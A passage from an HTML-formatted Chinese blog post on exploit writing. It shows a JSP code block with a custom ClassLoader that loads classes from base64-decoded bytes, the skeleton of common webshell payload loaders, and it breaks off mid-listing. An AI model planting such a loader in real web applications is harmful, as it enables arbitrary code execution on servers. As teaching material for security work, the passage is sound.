start;">这样的写法主要是可以兼容一些漏洞利用场景，不需要每次额外去做判断。不理解的小伙伴多写几个利用EXP就明白我什么意思了。</p><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-2" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;%!</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">class</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> U </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">extends</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ClassLoader</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        U</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ClassLoader</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> c</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">super</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">c</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">public</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Class</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> g</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">byte</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[]</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> b</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">super</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">defineClass</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">b</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">0</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> b</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">length</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">public</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">byte</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[]</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> base64Decode</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">String</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> str</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">throws</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Exception</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">try</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Class</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> clazz </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Class</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">forName</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;sun.misc.BASE64Decoder&#34;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">byte</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[])</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> clazz</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">getMethod</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;decodeBuffer&#34;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">String</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">class</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">).</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">invoke</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">clazz</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">newInstance</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(),</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> str</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">catch</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Exception</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> e</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Class</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> clazz </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Class</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">forName</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;java.util.Base64&#34;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Object</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> decoder </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> clazz</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">getMethod</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;getDecoder&#34;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">).</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">invoke</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">null</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">byte</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[])</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> decoder</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">getClass</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">().</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">getMethod</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;decode&#34;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">String</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">class</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">).</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">invoke</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">decoder</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> str</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">%&gt;</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: 